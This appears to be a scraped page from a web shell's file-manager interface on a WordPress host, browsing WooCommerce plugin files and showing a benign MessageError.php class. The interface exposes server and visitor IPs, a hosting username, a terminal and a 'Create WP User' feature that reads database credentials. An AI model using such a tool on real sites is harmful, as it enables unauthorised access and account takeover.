Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
src
/
StoreApi
/
Routes
/
V1
/
Agentic
/
Messages
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
Message.php
1.10 KB
-rw-r--r--
2026-03-03 00:17
MessageError.php
3.54 KB
-rw-r--r--
2026-03-03 00:17
MessageInfo.php
1.24 KB
-rw-r--r--
2026-03-03 00:17
Messages.php
1.04 KB
-rw-r--r--
2026-03-03 00:17
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
MessageError.php
<?php declare(strict_types=1); namespace Automattic\WooCommerce\StoreApi\Routes\V1\Agentic\Messages; use Automattic\WooCommerce\Internal\Agentic\Enums\Specs\ErrorCode; use Automattic\WooCommerce\Internal\Agentic\Enums\Specs\MessageType; /** * MessageError class. * * Represents a message error object as defined in the Agentic Commerce Protocol. * This class handles message-level errors with type, code, content_type, content, and optional param. */ class MessageError extends Message { /** * The error type (always 'error' for message errors). * * @var string */ private $type = MessageType::ERROR; /** * Error code from ErrorCode enum. * * @var string */ private $code; /** * Constructor. * * @param string $code Error code from ErrorCode enum. * @param string $content Error content/message. * @param string|null $param RFC 9535 JSONPath (optional). */ public function __construct( string $code, string $content, ?string $param = null ) { $this->code = $code; $this->content = $content; $this->param = $param; } /** * Create a missing field error. * * @param string $content Error content/message. * @param string|null $param RFC 9535 JSONPath (optional). * @return MessageError */ public static function missing( $content, $param = null ) { return new self( ErrorCode::MISSING, $content, $param ); } /** * Create an invalid field error. * * @param string $content Error content/message. * @param string|null $param RFC 9535 JSONPath (optional). * @return MessageError */ public static function invalid( $content, $param = null ) { return new self( ErrorCode::INVALID, $content, $param ); } /** * Create an out of stock error. * * @param string $content Error content/message. * @param string|null $param RFC 9535 JSONPath (optional). * @return MessageError */ public static function out_of_stock( $content, $param = null ) { return new self( ErrorCode::OUT_OF_STOCK, $content, $param ); } /** * Create a payment declined error. * * @param string $content Error content/message. * @param string|null $param RFC 9535 JSONPath (optional). * @return MessageError */ public static function payment_declined( $content, $param = null ) { return new self( ErrorCode::PAYMENT_DECLINED, $content, $param ); } /** * Create a requires sign in error. * * @param string $content Error content/message. * @param string|null $param RFC 9535 JSONPath (optional). * @return MessageError */ public static function requires_sign_in( $content, $param = null ) { return new self( ErrorCode::REQUIRES_SIGN_IN, $content, $param ); } /** * Create a requires 3DS error. * * @param string $content Error content/message. * @param string|null $param RFC 9535 JSONPath (optional). * @return MessageError */ public static function requires_3ds( $content, $param = null ) { return new self( ErrorCode::REQUIRES_3DS, $content, $param ); } /** * Check if the message is an error. * * @return bool True if the message is an error, false otherwise. */ public function is_error(): bool { return true; } /** * Convert the error to an array. * * @return array A message for the `messages` array of the response. */ public function to_array(): array { $data = array( 'type' => $this->type, 'code' => $this->code, 'content_type' => $this->content_type, 'content' => $this->content, ); if ( null !== $this->param ) { $data['param'] = $this->param; } return $data; } }
关闭
保存